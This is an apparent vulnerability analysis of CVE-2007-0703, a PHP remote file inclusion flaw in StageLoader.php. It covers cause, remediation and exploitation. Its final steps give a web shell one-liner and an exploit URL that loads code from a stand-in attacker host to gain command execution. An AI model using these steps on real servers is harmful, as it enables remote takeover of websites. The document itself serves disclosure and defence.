CVE-2007-0703

An attacker can send an HTTP GET request to the vulnerable script, passing a URL in the `GLOBALS[core][module_path]` parameter. Because PHP's `register_globals` is off (as shown in the included `.htaccess` file [ref_id=1]), the attacker must explicitly provide the parameter via the query string. The `require_once()` call then includes the attacker-supplied remote URL, allowing execution of arbitrary PHP code from an external server. The exploit URL pattern is `http://victim.com/[path]/library/StageLoader.php?GLOBALS[core][module_path]=Evil.txt?` [ref_id=1][ref_id=2].

The vulnerable file is `/library/StageLoader.php`. The first line of code in that file is `require_once($GLOBALS['core']['module_path'].'/module_common.php');` [ref_id=1][ref_id=2]. The `$GLOBALS['core']['module_path']` value is taken directly from user-supplied input without any sanitization or validation.

No patch is provided in the bundle. The advisory and exploit references do not describe any vendor-supplied fix [ref_id=1][ref_id=2]. To remediate this vulnerability, the application should validate that `$GLOBALS['core']['module_path']` is a local path (not a URL) and should not allow user-controlled input to directly set this variable. A proper fix would involve either hard-coding the module path, restricting it to an allowlist of known local directories, or sanitizing the input to reject URLs and path traversal sequences.

1. Host a PHP web shell (e.g., `Evil.txt` containing `system($_GET['cmd']);`) on an attacker-controlled server. 2. Send a request to the target: `http://victim.com/[path]/library/StageLoader.php?GLOBALS[core][module_path]=http://attacker.com/Evil.txt?` [ref_id=1][ref_id=2]. 3. The trailing `?` in the exploit URL treats the appended `/module_common.php` as a query string, preventing it from interfering with the remote file inclusion. 4. The remote file is executed by the server, allowing arbitrary command execution.